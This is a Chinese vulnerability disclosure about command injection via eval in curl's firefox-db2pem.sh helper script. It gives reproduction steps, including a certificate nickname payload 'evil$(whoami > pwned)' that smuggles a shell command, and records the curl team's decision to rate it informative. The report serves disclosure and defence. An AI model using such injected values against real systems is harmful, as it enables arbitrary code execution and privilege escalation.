OS命令注入漏洞报告:curl脚本firefox-db2pem.sh中的不安全证书昵称处理
漏洞概述
在curl源代码的scripts/firefox-db2pem.sh
辅助脚本中,存在一个OS命令注入漏洞。该脚本使用eval
命令处理证书昵称,导致恶意昵称中的shell语法会被执行。
受影响版本
- curl master分支(截至2025年6月26日,commit 2a9dfe2)
- 该漏洞可能存在于所有历史版本中
技术细节
漏洞代码位置
|
|
由于eval
会重新解析其参数,包含shell语法的恶意昵称(如$(whoami > pwned)
)将在主机上执行。
复现步骤
-
安装必要工具
1
sudo apt-get install -y libnss3-tools openssl
-
创建临时配置文件
1 2 3 4
export HOME=$(mktemp -d) PROF="$HOME/.mozilla/firefox/safe.default" mkdir -p "$PROF" certutil -N --empty-password -d "$PROF"
-
生成自签名证书
1 2 3
openssl req -x509 -newkey rsa:2048 -nodes \ -subj '/CN=RCE-Test/' -days 1 \ -keyout "$HOME/key.pem" -out "$HOME/cert.pem"
-
使用恶意昵称导入证书
1 2
payload='evil$(whoami > pwned)' certutil -A -d "$PROF" -n "$payload" -t "C,C,C" -i "$HOME/cert.pem"
-
验证昵称列表
1
certutil -L -h 'Builtin Object Token' -d "$PROF"
-
运行易受攻击的辅助脚本
1
bash -x scripts/firefox-db2pem.sh "$HOME/ca-bundle.pem" || true
-
查看证明文件
1
cat pwned
影响分析
攻击者如果能够将证书导入任何Firefox NSS数据库(如自己的配置文件),在运行scripts/firefox-db2pem.sh
时可以实现任意代码执行。许多管理员以root权限运行此辅助程序来生成系统范围的CA捆绑包,因此此漏洞可在受影响系统上实现root级别的远程代码执行。
修复建议
问题代码
|
|
安全修复方案
移除eval
并使用更安全的方法:
|
|
项目方响应
curl团队认为这不是curl的安全漏洞,因为:
- 该脚本不是curl的组成部分,不会通过
make install
安装 - 这只是提供给觉得有用用户的一个小脚本
- 如果用户可以运行脚本,就可以注入任何内容
实际影响场景
尽管curl团队认为风险较小,但在以下实际场景中存在特权升级风险:
- 下游构建管道(Fuchsia、Cmake的Docker构建、openSUSE OBS)
- 以root权限针对非特权Firefox配置文件运行此脚本
- 真实的CI和打包工作流中的本地特权升级
最终处理
- 报告状态:Informative(信息性)
- 严重性:High(7-8.9)
- CVE ID:无
- 赏金:无
- 已提交修复:https://github.com/curl/curl/pull/17766